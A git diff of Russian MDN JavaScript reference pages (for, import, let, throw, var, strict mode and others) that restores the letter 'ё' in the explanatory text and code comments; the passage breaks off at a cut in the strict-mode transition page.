      diff --git a/files/ru/web/javascript/reference/statements/for/index.html b/files/ru/web/javascript/reference/statements/for/index.html
      index 6b394ef5a5..080e4e8c61 100644
      --- a/files/ru/web/javascript/reference/statements/for/index.html
      +++ b/files/ru/web/javascript/reference/statements/for/index.html
      @@ -52,7 +52,7 @@ for (; i < 9; i++) {
       }
       
      -

      Как и блок инициализации, блок условия не обязателен. Если пропустите это выражение, вы должны быть уверены, что прервете цикл где-то в теле, а не создадите бесконечный цикл.

      +

      Как и блок инициализации, блок условия не обязателен. Если пропустите это выражение, вы должны быть уверены, что прервёте цикл где-то в теле, а не создадите бесконечный цикл.

      for (var i = 0;; i++) {
          console.log(i);
      diff --git a/files/ru/web/javascript/reference/statements/import/index.html b/files/ru/web/javascript/reference/statements/import/index.html
      index d301e39327..99911d4f33 100644
      --- a/files/ru/web/javascript/reference/statements/import/index.html
      +++ b/files/ru/web/javascript/reference/statements/import/index.html
      @@ -46,7 +46,7 @@ import("/module-name.js").then(module => {…}) // Динамический 
        
      module-name
      Имя модуля для импорта. Это зачастую относительный или абсолютный путь к .js файлу модуля без указания расширения .js. Некоторые сборщики могут разрешать или даже требовать использования расширения; проверяйте своё рабочее окружение. Допускаются только строки с одиночными или двойными кавычками.
      name
      -
      Имя локального объекта, который будет использован как своего рода пространство имен, ссылающееся на импортируемые значения.
      +
      Имя локального объекта, который будет использован как своего рода пространство имён, ссылающееся на импортируемые значения.
      @@ -61,7 +61,7 @@ import("/module-name.js").then(module => {…}) // Динамический

      Описание

      -

      Параметр name это имя локального объекта, который будет использован как своего рода пространство имен, ссылающееся на импортируемые значения. Параметры export определяют отдельные именованные значения, в то время как import * as name импортирует все значения. Примеры ниже объясняют синтаксис.

      +

      Параметр name это имя локального объекта, который будет использован как своего рода пространство имён, ссылающееся на импортируемые значения. Параметры export определяют отдельные именованные значения, в то время как import * as name импортирует все значения. Примеры ниже объясняют синтаксис.

      Импорт всего содержимого модуля

      @@ -69,13 +69,13 @@ import("/module-name.js").then(module => {…}) // Динамический
      import * as myModule from '/modules/my-module.js';
      -

      В данном случае, доступ к импортируемым значениям можно осуществить с использованием имени модуля (в данном случае "myModule") в качестве пространства имен. Например, если импортируемый выше модуль включает в себя экспорт метода doAllTheAmazingThings(), вы можете вызвать его так:

      +

      В данном случае, доступ к импортируемым значениям можно осуществить с использованием имени модуля (в данном случае "myModule") в качестве пространства имён. Например, если импортируемый выше модуль включает в себя экспорт метода doAllTheAmazingThings(), вы можете вызвать его так:

      myModule.doAllTheAmazingThings();

      Импорт единичного значения из модуля

      -

      Определенное ранее значение, названное myExport, которое было экспортировано из модуля my-module либо неявно (если модуль был экспортирован целиком), либо явно (с использованием инструкции {{jsxref("Statements/export", "export")}}), позволяет вставить myExport в текущую область видимости.

      +

      Определённое ранее значение, названное myExport, которое было экспортировано из модуля my-module либо неявно (если модуль был экспортирован целиком), либо явно (с использованием инструкции {{jsxref("Statements/export", "export")}}), позволяет вставить myExport в текущую область видимости.

      import {myExport} from '/modules/my-module.js';
      @@ -85,7 +85,7 @@ import("/module-name.js").then(module => {…}) // Динамический
      import {foo, bar} from '/modules/my-module.js';
      -

      Импорт значений с использованием более удобных имен

      +

      Импорт значений с использованием более удобных имён

      Вы можете переименовать значения, когда импортируете их. Например, этот код вставляет shortName в текущую область видимости.

      @@ -117,10 +117,10 @@ import("/module-name.js").then(module => {…}) // Динамический
      import myDefault from '/modules/my-module.js';
       
      -

      Возможно также использование такого синтаксиса с другими вариантами из перечисленных выше (импорт пространства имен или именованный импорт). В таком случае, импорт значения по умолчанию должен быть определён первым. Для примера:

      +

      Возможно также использование такого синтаксиса с другими вариантами из перечисленных выше (импорт пространства имён или именованный импорт). В таком случае, импорт значения по умолчанию должен быть определён первым. Для примера:

      import myDefault, * as myModule from '/modules/my-module.js';
      -// myModule использовано как пространство имен
      +// myModule использовано как пространство имён

    или

    diff --git a/files/ru/web/javascript/reference/statements/let/index.html b/files/ru/web/javascript/reference/statements/let/index.html index 2f38f7e7ca..df2a17de02 100644 --- a/files/ru/web/javascript/reference/statements/let/index.html +++ b/files/ru/web/javascript/reference/statements/let/index.html @@ -87,7 +87,7 @@ for (var i = 1; i <= 5; i++) {

    Пример выше будет выполнен как и ожидается, так как пять экземпляров внутренней функции (анонимной) будут ссылаться на пять разных экземпляров переменной i. Пример будет выполнен неверно, если заменить директиву let на var, или удалить переменную i из параметров вложенной функции и использовать внешнюю переменную i во внутренней функции.

    -

    На верхнем уровне скриптов и функций let, в отличии от var, не создает свойства на глобальном объекте. Например:

    +

    На верхнем уровне скриптов и функций let, в отличии от var, не создаёт свойства на глобальном объекте. Например:

    var x = 'global_x';
     let y = 'global_y';
    @@ -130,16 +130,16 @@ console.log(privateScope.hiddenProperty); // error

    Эта техника позволяет получить только "статичное" приватное состояние - в примере выше, все экземпляры полученные из конструктора SomeConstructor будут ссылаться на одну и ту же область видимости privateScope.

    -

    Временные мертвые зоны и ошибки при использовании let

    +

    Временные мёртвые зоны и ошибки при использовании let

    -

    Повторное объявление той же переменной в том же блоке или функции приведет к выбросу исключения SyntaxError.

    +

    Повторное объявление той же переменной в том же блоке или функции приведёт к выбросу исключения SyntaxError.

    if (x) {
       let foo;
       let foo; // SyntaxError thrown.
     }
    -

    В стандарте ECMAScript 2015 переменные, объявленные директивой let, переносятся в начало блока. Но если вы сошлетесь в блоке на переменную, до того как она объявлена директивой let, то это приведет к выбросу исключения ReferenceError, потому что переменная находится во "временной мертвой зоне" с начала блока и до места ее объявления. (В отличии от переменной, объявленной через var, которая просто будет содержать значение undefined)

    +

    В стандарте ECMAScript 2015 переменные, объявленные директивой let, переносятся в начало блока. Но если вы сошлётесь в блоке на переменную, до того как она объявлена директивой let, то это приведёт к выбросу исключения ReferenceError, потому что переменная находится во "временной мёртвой зоне" с начала блока и до места её объявления. (В отличии от переменной, объявленной через var, которая просто будет содержать значение undefined)

    function do_something() {
       console.log(bar); // undefined
    @@ -175,7 +175,7 @@ for ( let i=i ; i < 10 ; i++ ) {
     
    for (let expr1; expr2; expr3) statement
     
    -

    В этом примере expr2, expr3, statement  заключены в неявный блок, который содержит блок локальных переменных, объявленных конструкцией let expr1. Пример приведен выше.

    +

    В этом примере expr2, expr3, statement  заключены в неявный блок, который содержит блок локальных переменных, объявленных конструкцией let expr1. Пример приведён выше.

    Примеры

    @@ -224,7 +224,7 @@ console.log(i); // i is not defined

    Описание

    -

    let блок предоставляет локальную область видимости для переменных. Работа его заключается в привязке нуля или более переменных к области видимости этого блока кода, другими словами, он является блоком операторов. Отметим, что область видимости переменных, объявленных директивой var, в блоке let, будет той же самой, что и если бы эти переменные были объявлены вне блока let, иными словами областью видимости таких переменных по-прежнему является функция. Скобки в блоке let являются обязательными. Опускание их приведет к синтаксической ошибке.

    +

    let блок предоставляет локальную область видимости для переменных. Работа его заключается в привязке нуля или более переменных к области видимости этого блока кода, другими словами, он является блоком операторов. Отметим, что область видимости переменных, объявленных директивой var, в блоке let, будет той же самой, что и если бы эти переменные были объявлены вне блока let, иными словами областью видимости таких переменных по-прежнему является функция. Скобки в блоке let являются обязательными. Опускание их приведёт к синтаксической ошибке.

    Пример

    @@ -408,7 +408,7 @@ console.log(a); // 5
    • До SpiderMonkey 46 {{geckoRelease(46)}} выбрасывал {{jsxref("TypeError")}} на повторное объявление, вместо {{jsxref("SyntaxError")}} ({{bug(1198833)}}).
    • -
    • До SpiderMonkey 44 {{geckoRelease(44)}}, let был доступен только для блоков кода обернутых в HTML <script type="application/javascript;version=1.7">block (or higher version) и имел другую семантику.
    • -
    • Поддержка в {{domxref("Worker")}} код спрятан за dom.workers.latestJSVersion флагом ({{bug(487070)}}). Без версии let, флаг будет удален в будущем ({{bug(1219523)}}).
    • +
    • До SpiderMonkey 44 {{geckoRelease(44)}}, let был доступен только для блоков кода обёрнутых в HTML <script type="application/javascript;version=1.7">block (or higher version) и имел другую семантику.
    • +
    • Поддержка в {{domxref("Worker")}} код спрятан за dom.workers.latestJSVersion флагом ({{bug(487070)}}). Без версии let, флаг будет удалён в будущем ({{bug(1219523)}}).
    • Соблюдение стандарта ES2015 для let в SpIderMonkey отслеживается в {{bug(950547)}}
    diff --git a/files/ru/web/javascript/reference/statements/return/index.html b/files/ru/web/javascript/reference/statements/return/index.html index 37f44af769..7859580049 100644 --- a/files/ru/web/javascript/reference/statements/return/index.html +++ b/files/ru/web/javascript/reference/statements/return/index.html @@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Reference/Statements/return

    Описание

    -

    При вызове оператора return в функции её выполнение прекращается. Указанное значение возвращается в место вызова функции. Например, приведенная ниже функция возвращает возведенное в квадрат значение своего аргумента, x (где x – это число):

    +

    При вызове оператора return в функции её выполнение прекращается. Указанное значение возвращается в место вызова функции. Например, приведённая ниже функция возвращает возведённое в квадрат значение своего аргумента, x (где x – это число):

    function square(x) {
        return x * x;
    diff --git a/files/ru/web/javascript/reference/statements/throw/index.html b/files/ru/web/javascript/reference/statements/throw/index.html
    index 1ba0dc149a..7dfceb09c3 100644
    --- a/files/ru/web/javascript/reference/statements/throw/index.html
    +++ b/files/ru/web/javascript/reference/statements/throw/index.html
    @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Statements/throw
     
     

    Описание

    -

    Используйте инструкцию throw для генерирования исключения. Когда вы генерируете исключение (throw), выражение задает значение исключения. Каждое из следующих throw создает исключение:

    +

    Используйте инструкцию throw для генерирования исключения. Когда вы генерируете исключение (throw), выражение задаёт значение исключения. Каждое из следующих throw создаёт исключение:

    throw "Error2"; // генерирует исключение, значением которого является строка
     throw 42;       // генерирует исключение, значением которого является число 42
    @@ -35,11 +35,11 @@ throw true;     // генерирует исключение, значением
     
     

    Пример: Генерирование объекта в качестве исключения

    -

    Можно указать объект в качестве исключения. Затем можно получить ссылку на этот объект и доступ ко всем его свойствам в блоке catch. Следующий пример создает объект ошибки, который имеет тип UserException, и используется для генерации исключения.

    +

    Можно указать объект в качестве исключения. Затем можно получить ссылку на этот объект и доступ ко всем его свойствам в блоке catch. Следующий пример создаёт объект ошибки, который имеет тип UserException, и используется для генерации исключения.

    function UserException(message) {
        this.message = message;
    -   this.name = "Исключение, определенное пользователем";
    +   this.name = "Исключение, определённое пользователем";
     }
     function getMonthName(mo) {
        mo = mo-1; // Нужно скорректировать номер месяца согласно индексам массива (1=Jan, 12=Dec)
    @@ -54,11 +54,11 @@ function getMonthName(mo) {
     
     try {
        // statements to try
    -   var myMonth = 15; // 15 находится вне границ массива, что приведет к исключению
    +   var myMonth = 15; // 15 находится вне границ массива, что приведёт к исключению
        var monthName = getMonthName(myMonth);
     } catch (e) {
        monthName = "неизвестен";
    -   logMyErrors(e.message, e.name); // передаем исключение в обработчик ошибок
    +   logMyErrors(e.message, e.name); // передаём исключение в обработчик ошибок
     }
     
    @@ -67,7 +67,7 @@ try {

    Следующий пример проверяет, является ли строка, переданная в функцию, почтовым индексом США. Если индекс имеет недопустимый формат, будет сгенерировано исключение посредством создания объекта, имеющего тип ZipCodeFormatException.

    /*
    - * Создает объект ZipCode.
    + * Создаёт объект ZipCode.
      *
      * Допустимые форматы почтового индекса:
      *    12345
    @@ -125,16 +125,16 @@ function verifyZipCode(z) {
        return z;
     }
     
    -a = verifyZipCode(95060);         // вернет 95060
    -b = verifyZipCode(9560);          // вернет -1
    -c = verifyZipCode("a");           // вернет -1
    -d = verifyZipCode("95060");       // вернет 95060
    -e = verifyZipCode("95060 1234");  // вернет 95060 1234
    +a = verifyZipCode(95060);         // вернёт 95060
    +b = verifyZipCode(9560);          // вернёт -1
    +c = verifyZipCode("a");           // вернёт -1
    +d = verifyZipCode("95060");       // вернёт 95060
    +e = verifyZipCode("95060 1234");  // вернёт 95060 1234
     

    Пример: Повторный выброс исключения

    -

    Можно использовать throw для повторного выброса исключения после того, как оно было поймано. В следующем примере ловится исключение с числовым значением и делается повторный выброс, если его значение больше 50.  Повторно выброшенное исключение передается далее в вызывающую функцию или до верхнего уровня, который видит пользователь.

    +

    Можно использовать throw для повторного выброса исключения после того, как оно было поймано. В следующем примере ловится исключение с числовым значением и делается повторный выброс, если его значение больше 50.  Повторно выброшенное исключение передаётся далее в вызывающую функцию или до верхнего уровня, который видит пользователь.

    try {
        throw n; // бросаем исключение с числовым значением
    diff --git a/files/ru/web/javascript/reference/statements/try...catch/index.html b/files/ru/web/javascript/reference/statements/try...catch/index.html
    index 241bc90d83..a18bf95b37 100644
    --- a/files/ru/web/javascript/reference/statements/try...catch/index.html
    +++ b/files/ru/web/javascript/reference/statements/try...catch/index.html
    @@ -86,7 +86,7 @@ catch (e) {
     }
     
    -

    Блок catch задает идентификатор (e в примере выше) который содержит объект исключения (в примере выше — значение, переданное оператору throw). Область видимости этого объекта ограничивается блоком catch.

    +

    Блок catch задаёт идентификатор (e в примере выше) который содержит объект исключения (в примере выше — значение, переданное оператору throw). Область видимости этого объекта ограничивается блоком catch.

    Условный блок catch

    diff --git a/files/ru/web/javascript/reference/statements/var/index.html b/files/ru/web/javascript/reference/statements/var/index.html index fd0ca7f862..78b2f5edcd 100644 --- a/files/ru/web/javascript/reference/statements/var/index.html +++ b/files/ru/web/javascript/reference/statements/var/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/var ---
    {{jsSidebar("Statements")}}
    -

    Оператор var объявляет переменную, инициализируя ее, при необходимости.

    +

    Оператор var объявляет переменную, инициализируя её, при необходимости.

    {{EmbedInteractiveExample("pages/js/statement-var.html")}}

    @@ -80,7 +80,7 @@ bla = 2;

    Поэтому объявление переменных рекомендовано выносить в начало их области видимости (в начало глобального кода или в начало функции). Это даёт понять какие переменные принадлежат функции (т.е. являются локальными), а какие обрабатываются в цепи областей видимости (т.е. являются глобальными).

    -

    Важно отметить, что подъем будет влиять на объявление переменной, но не на инициализацию ее значения. Значение присваивается при выполнении оператора присваивания:

    +

    Важно отметить, что подъем будет влиять на объявление переменной, но не на инициализацию её значения. Значение присваивается при выполнении оператора присваивания:

    function do_something() {
       console.log(bar); // выведет undefined
    @@ -153,7 +153,7 @@ console.log(x, y);
    var x = 0;  // x объявлена глобально, затем присваивается значение 0
     
    -console.log(typeof z); // undefined, пока еще z не существует
    +console.log(typeof z); // undefined, пока ещё z не существует
     
     function a() { // когда функция a вызвана,
       var y = 2;   // y объявляется локально в функции a, затем присваивается 2
    @@ -163,10 +163,10 @@ function a() { // когда функция a вызвана,
       function b() {       // когда функция b вызвана
         x = 3;  // присваивается 3 существующей глобальной x
         y = 4;  // присваивается 4 существующей внешней y
    -    z = 5;  // создается новая глобальная переменная z и присваивается значение 5.
    +    z = 5;  // создаётся новая глобальная переменная z и присваивается значение 5.
       }         // (Порождает ReferenceError в strict mode(строгом режиме).)
     
    -  b();     // вызов b создает z как глобальную переменную
    +  b();     // вызов b создаёт z как глобальную переменную
       console.log(x, y, z);  // 3 4 5
     }
     
    diff --git a/files/ru/web/javascript/reference/statements/while/index.html b/files/ru/web/javascript/reference/statements/while/index.html
    index 1baf54a1f4..4c367fc488 100644
    --- a/files/ru/web/javascript/reference/statements/while/index.html
    +++ b/files/ru/web/javascript/reference/statements/while/index.html
    @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Statements/while
     ---
     
    {{jsSidebar("Statements")}}
    -

    Оператор while создает цикл, выполняющий заданную инструкцию, пока истинно проверяемое условие. Логическое значение условия вычисляется перед исполнением тела цикла.

    +

    Оператор while создаёт цикл, выполняющий заданную инструкцию, пока истинно проверяемое условие. Логическое значение условия вычисляется перед исполнением тела цикла.

    Синтаксис

    diff --git a/files/ru/web/javascript/reference/statements/with/index.html b/files/ru/web/javascript/reference/statements/with/index.html index 208863d500..e28aedee90 100644 --- a/files/ru/web/javascript/reference/statements/with/index.html +++ b/files/ru/web/javascript/reference/statements/with/index.html @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Statements/with

    Pro: Оператор with может помочь уменьшить размер файла, уменьшив необходимость повторять длинную ссылку на объект без снижения производительности.  Изменение цепочки контекста, необходимое для 'with', не требует больших вычислительных затрат.  Использование 'with' избавит интерпретатор от разбора повторных ссылок на объекты. Однако, обратите внимание, что во многих случаях это преимущество может быть достигнуто с помощью временной переменной для хранения ссылки на нужный объект.

    -

    Contra: Оператор with заставляет указанный объект быть найденным сначала среди всех имен поиска.  Поэтому все идентификаторы, которые не относятся к указанному объекту, будут обнаруживаться медленнее в блоке «with.  Там, где важна производительность, «with» следует использовать только для охвата блоков кода, которые обращаются к членам указанного объекта.

    +

    Contra: Оператор with заставляет указанный объект быть найденным сначала среди всех имён поиска.  Поэтому все идентификаторы, которые не относятся к указанному объекту, будут обнаруживаться медленнее в блоке «with.  Там, где важна производительность, «with» следует использовать только для охвата блоков кода, которые обращаются к членам указанного объекта.

    Ambiguity contra

    diff --git a/files/ru/web/javascript/reference/strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/index.html index 7b35f93897..fbf4446b55 100644 --- a/files/ru/web/javascript/reference/strict_mode/index.html +++ b/files/ru/web/javascript/reference/strict_mode/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Strict_mode ---
    {{JsSidebar("More")}}
    -

    Режим strict (строгий режим), введенный в ECMAScript 5, позволяет использовать более строгий вариант JavaScript. Это не просто подмножество языка: в нем сознательно используется семантика, отличающаяся от обычно принятой. Не поддерживающие строгий режим браузеры будут по-другому выполнять код, написанный для строгого режима, поэтому не полагайтесь на строгий режим без тестирования поддержки используемых особенностей этого режима. Строгий и обычный режим могут сосуществовать одновременно, а скрипт может переключаться в строгий режим по мере надобности.

    +

    Режим strict (строгий режим), введённый в ECMAScript 5, позволяет использовать более строгий вариант JavaScript. Это не просто подмножество языка: в нем сознательно используется семантика, отличающаяся от обычно принятой. Не поддерживающие строгий режим браузеры будут по-другому выполнять код, написанный для строгого режима, поэтому не полагайтесь на строгий режим без тестирования поддержки используемых особенностей этого режима. Строгий и обычный режим могут сосуществовать одновременно, а скрипт может переключаться в строгий режим по мере надобности.

    Строгий режим принёс ряд изменений в обычную семантику JavaScript. Во-первых, строгий режим заменяет исключениями некоторые ошибки, которые интерпретатор JavaScript ранее молча пропускал. Во-вторых, строгий режим исправляет ошибки, которые мешали движкам JavaScript выполнять оптимизацию -- в некоторых случаях код в строгом режиме может быть оптимизирован для более быстрого выполнения, чем код в обычном режиме. В-третьих, строгий режим запрещает использовать некоторые элементы синтаксиса, которые, вероятно, в следующих версиях ECMAScript получат особый смысл.

    @@ -18,11 +18,11 @@ translation_of: Web/JavaScript/Reference/Strict_mode

    Активизация строгого режима

    -

    Строгий режим применяется ко всему скрипту или к отдельным функциям. Он не может быть применён к блокам операторов, заключенных в фигурные скобки -- попытка использовать его в подобном контексте будет проигнорирована. Код в eval, Function, в атрибутах обработчиков событий, в строках, переданных в setTimeout, и т.п. рассматривается как законченный скрипт, и активизация строгого режима в нём выполняется ожидаемым образом.

    +

    Строгий режим применяется ко всему скрипту или к отдельным функциям. Он не может быть применён к блокам операторов, заключённых в фигурные скобки -- попытка использовать его в подобном контексте будет проигнорирована. Код в eval, Function, в атрибутах обработчиков событий, в строках, переданных в setTimeout, и т.п. рассматривается как законченный скрипт, и активизация строгого режима в нём выполняется ожидаемым образом.

    Строгий режим для скриптов

    -

    Чтобы активизировать строгий режим для всего скрипта, нужно поместить оператор "use strict"; или 'use strict'; перед всеми остальными операторами скрипта (выдержать приведенный синтаксис буквально).

    +

    Чтобы активизировать строгий режим для всего скрипта, нужно поместить оператор "use strict"; или 'use strict'; перед всеми остальными операторами скрипта (выдержать приведённый синтаксис буквально).

    // Синтаксис переключения в строгий режим всего скрипта
     "use strict";
    @@ -74,11 +74,11 @@ mistypeVaraible = 17; // mistypedVaraible, эта строка выбросит
     
     
    "use strict";
     
    -// Присваивание значения глобальной переменной, защищенной от записи
    +// Присваивание значения глобальной переменной, защищённой от записи
     var undefined = 5; // выдаст TypeError
     var Infinity = 5; // выдаст TypeError
     
    -// Присваивание значения свойству, защищенному от записи
    +// Присваивание значения свойству, защищённому от записи
     var obj1 = {};
     Object.defineProperty(obj1, "x", { value: 42, writable: false });
     obj1.x = 9; // выдаст TypeError
    @@ -133,7 +133,7 @@ var sum = 015 + // !!! синтаксическая ошибка
     console.log(sumWithOctal); // 16
     
    -

    В-седьмых, строгий режим в ECMAScript 2015 запрещает установку свойств {{Glossary("primitive")}} значениям. Без строгого режима, установка свойств просто игнорируется (no-op), со строгим режимом, однако, выдает {{jsxref ("TypeError")}}.

    +

    В-седьмых, строгий режим в ECMAScript 2015 запрещает установку свойств {{Glossary("primitive")}} значениям. Без строгого режима, установка свойств просто игнорируется (no-op), со строгим режимом, однако, выдаёт {{jsxref ("TypeError")}}.

    (function() {
     'use strict';
    @@ -146,7 +146,7 @@ false.true = '';         // TypeError
     
     

    Упрощение работы с переменными

    -

    Строгий режим упрощает сопоставление имени переменной с местом ее определения в коде. Многие оптимизации времени компиляции полагаются на возможность считать, что переменная X хранится в этом конкретном месте исходного кода. Иногда, при компиляции JavaScript простое сопоставление имени переменной с местом ее определения в коде не возможно, без выполнения того самого кода. Строгий же режим исключает большинство таких случаев, благодаря чему оптимизации компилятора работают эффективнее.

    +

    Строгий режим упрощает сопоставление имени переменной с местом её определения в коде. Многие оптимизации времени компиляции полагаются на возможность считать, что переменная X хранится в этом конкретном месте исходного кода. Иногда, при компиляции JavaScript простое сопоставление имени переменной с местом её определения в коде не возможно, без выполнения того самого кода. Строгий же режим исключает большинство таких случаев, благодаря чему оптимизации компилятора работают эффективнее.

    Во-первых, строгий режим запрещает использование with. Проблема с with в том, что во время выполнения любое имя внутри блока может ссылаться как на свойство обрабатываемого объекта, так и на переменную в окружающем (или даже в глобальном) контексте -- невозможно знать об этом заранее. Строгий режим считает with синтаксической ошибкой, поэтому не остаётся шанса использовать имя переменной внутри with для ссылки на неизвестное место во время выполнения:

    @@ -206,7 +206,7 @@ eval('var y; delete y;'); // !!!
    синтаксическая ошибк

    Упрощение eval и arguments

    -

    В строгом режиме снижается количество странностей в поведении arguments и eval, оба из которых примешивают определённое количество магии в обычный код. Так eval добавляет или удаляет переменные и меняет их значения, а переменная arguments может удивить своими проиндексированными свойствами, которые являются ссылками (синонимами) для поименованных аргументов функции. Строгий режим делает большой шаг в прояснении этих двух ключевых слов, но полное их обуздание произойдет лишь в следующей редакции ECMAScript.

    +

    В строгом режиме снижается количество странностей в поведении arguments и eval, оба из которых примешивают определённое количество магии в обычный код. Так eval добавляет или удаляет переменные и меняет их значения, а переменная arguments может удивить своими проиндексированными свойствами, которые являются ссылками (синонимами) для поименованных аргументов функции. Строгий режим делает большой шаг в прояснении этих двух ключевых слов, но полное их обуздание произойдёт лишь в следующей редакции ECMAScript.

    Во-первых, ключевые слова eval и arguments не могут быть переопределены или изменены. Все подобные попытки это сделать являются синтаксическими ошибками:

    @@ -235,7 +235,7 @@ console.assert(pair[0] === 42); console.assert(pair[1] === 17);
    -

    В-третьих, свойство arguments.callee больше не поддерживается. В обычном коде свойство arguments.callee ссылается на саму функцию для вызова которой и был создан объект arguments. Малоприменимое свойство, так как функция заранее известна, и к ней можно обратиться и по ее имени непосредственно. Более того, arguments.callee значительно затрудняет такую оптимизацию, как инлайнинг, потому как должна быть сохранена возможность обратиться к незаинлайненой функции на случай, если присутствует обращение к arguments.callee. В строгом режиме arguments.callee превращается в неудаляемое свойство, которое выбрасывает предостерегающее исключение при любой попытке обращения к нему:

    +

    В-третьих, свойство arguments.callee больше не поддерживается. В обычном коде свойство arguments.callee ссылается на саму функцию для вызова которой и был создан объект arguments. Малоприменимое свойство, так как функция заранее известна, и к ней можно обратиться и по её имени непосредственно. Более того, arguments.callee значительно затрудняет такую оптимизацию, как инлайнинг, потому как должна быть сохранена возможность обратиться к незаинлайненой функции на случай, если присутствует обращение к arguments.callee. В строгом режиме arguments.callee превращается в неудаляемое свойство, которое выбрасывает предостерегающее исключение при любой попытке обращения к нему:

    "use strict";
     var f = function() { return arguments.callee; };
    @@ -244,7 +244,7 @@ f(); // выдаст TypeError
     
     

    "Безопасный" JavaScript

    -

    Строгий режим упрощает написание "безопасного" JavaScript кода. Сейчас некоторые веб-сайты предоставляют пользователям возможность писать JavaScript, который будет выполняться на сайте от имени других пользователей. В браузерах, JavaScript может иметь доступ к приватной информации пользователя, поэтому, в целях ограничения доступа к запретной функциональности, такой JavaScript перед выполнением должен быть частично преобразован. Гибкость JavaScript делает это практически невозможным без многочисленных проверок во время исполнения. Функционал, исполняемый языком иногда столь массивен, что выполнение любых дополнительных проверок во время исполнения скрипта приведет к значительной потере производительности. Однако, некоторые особенности строгого режима, плюс обязательное требование того, чтобы JavaScript, загруженный пользователем, имел строгий режим и вызывался определенным способом, существенно снижают потребность в таких проверках.

    +

    Строгий режим упрощает написание "безопасного" JavaScript кода. Сейчас некоторые веб-сайты предоставляют пользователям возможность писать JavaScript, который будет выполняться на сайте от имени других пользователей. В браузерах, JavaScript может иметь доступ к приватной информации пользователя, поэтому, в целях ограничения доступа к запретной функциональности, такой JavaScript перед выполнением должен быть частично преобразован. Гибкость JavaScript делает это практически невозможным без многочисленных проверок во время исполнения. Функционал, исполняемый языком иногда столь массивен, что выполнение любых дополнительных проверок во время исполнения скрипта приведёт к значительной потере производительности. Однако, некоторые особенности строгого режима, плюс обязательное требование того, чтобы JavaScript, загруженный пользователем, имел строгий режим и вызывался определённым способом, существенно снижают потребность в таких проверках.

    Во-первых, значение, передаваемое в функцию как this, в строгом режиме не приводится к объекту (не "упаковывается"). В обычной функции this всегда представляет собой объект: либо это непосредственно объект, в случае вызова с this, представляющим объект-значение; либо значение, упакованное в объект, в случае вызова с this типа Boolean, string, или number; либо глобальный объект, если тип this это undefined или null. (Для точного определения конкретного this используйте {{jsxref('Global_Objects/Function/call', 'call')}}, {{jsxref('Global_Objects/Function/apply', 'apply')}}, или {{jsxref('Global_Objects/Function/bind', 'bind')}}.) Автоматическая упаковка не только снижает производительность, но и выставляет на показ глобальный объект, что в браузерах является угрозой безопасности, потому что глобальный объект предоставляет доступ к функциональности, которая должна быть ограничена в среде "безопасного" JavaScript. Таким образом, для функции в строгом режиме точно определённый this не упаковывается в объект, а если не определён точно, this является undefined:

    @@ -304,7 +304,7 @@ function fun(static) { 'use strict'; } // !!!
    -

    Два замечания, специфичных для Mozilla: Первое, если ваш код создан на JavaScript 1.7 или выше (например, chrome code, или тег <script type=""> заполнен правильно), и применен строгий режим, то let и yield имеют ту же функциональность, которая у них была изначально, когда они только появились. Однако в веб, в строгом коде загруженном через <script src=""> или <script>...</script>, нельзя будет использовать let/yield в качестве идентификаторов. Второе, в то время как ES5 зарезервировал слова class, enum, export, extends, import и super для любого режима, в Firefox 5 Mozilla они были зарезервированы намного раньше и лишь для строгого режима.

    +

    Два замечания, специфичных для Mozilla: Первое, если ваш код создан на JavaScript 1.7 или выше (например, chrome code, или тег <script type=""> заполнен правильно), и применён строгий режим, то let и yield имеют ту же функциональность, которая у них была изначально, когда они только появились. Однако в веб, в строгом коде загруженном через <script src=""> или <script>...</script>, нельзя будет использовать let/yield в качестве идентификаторов. Второе, в то время как ES5 зарезервировал слова class, enum, export, extends, import и super для любого режима, в Firefox 5 Mozilla они были зарезервированы намного раньше и лишь для строгого режима.

    Во-вторых, в строгом режиме запрещается объявление функций глубже самого верхнего уровня скрипта или функции. В обычном коде в браузерах, объявление функций позволено "везде", что не является частью ES5 (или даже ES3!) Это расширение различных браузеров, не имеющее общего совместимого подхода. Есть надежда, что в последующих редакциях ECMAScript будет определена новая семантика для объявления функций вне верхнего уровня скрипта или функции. Запрет на объявление таких функций в строгом режиме производит "зачистку" для спецификации в будущем релизе ECMAScript:

    @@ -326,7 +326,7 @@ function baz() { // верно

    Строгий режим в браузерах

    -

    В большинстве браузеров в настоящее время строгий режим реализован. Однако не стоит впадать в слепую зависимость от него, потому что существует множество Версий браузеров, поддерживающих строгий режим лишь частично или вовсе не поддерживающих оный (например, Internet Explorer ниже версии 10!). Строгий режим изменяет семантику. Надежда на эти изменения приведет к ошибкам и погрешностям в браузерах, в которых строгий режим не реализован. Проявляйте осторожность при использовании строгого режима, и подкрепляйте надежность строгого режима тестами особенностей, которые проверяют, насколько верно реализованы его фрагменты. Наконец, старайтесь тестировать свой код в браузерах, как поддерживающих, так и не поддерживающих строгий режим. Если вы проводите тестирование только в тех браузерах, которые не поддерживают строгий режим, то вполне вероятно у вас появятся проблемы в браузерах, его поддерживающих, и наоборот.

    +

    В большинстве браузеров в настоящее время строгий режим реализован. Однако не стоит впадать в слепую зависимость от него, потому что существует множество Версий браузеров, поддерживающих строгий режим лишь частично или вовсе не поддерживающих оный (например, Internet Explorer ниже версии 10!). Строгий режим изменяет семантику. Надежда на эти изменения приведёт к ошибкам и погрешностям в браузерах, в которых строгий режим не реализован. Проявляйте осторожность при использовании строгого режима, и подкрепляйте надёжность строгого режима тестами особенностей, которые проверяют, насколько верно реализованы его фрагменты. Наконец, старайтесь тестировать свой код в браузерах, как поддерживающих, так и не поддерживающих строгий режим. Если вы проводите тестирование только в тех браузерах, которые не поддерживают строгий режим, то вполне вероятно у вас появятся проблемы в браузерах, его поддерживающих, и наоборот.

    Спецификации

    diff --git a/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html index 5447834c4b..4c4b882462 100644 --- a/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html +++ b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mod ---
    {{jsSidebar("More")}}
    -

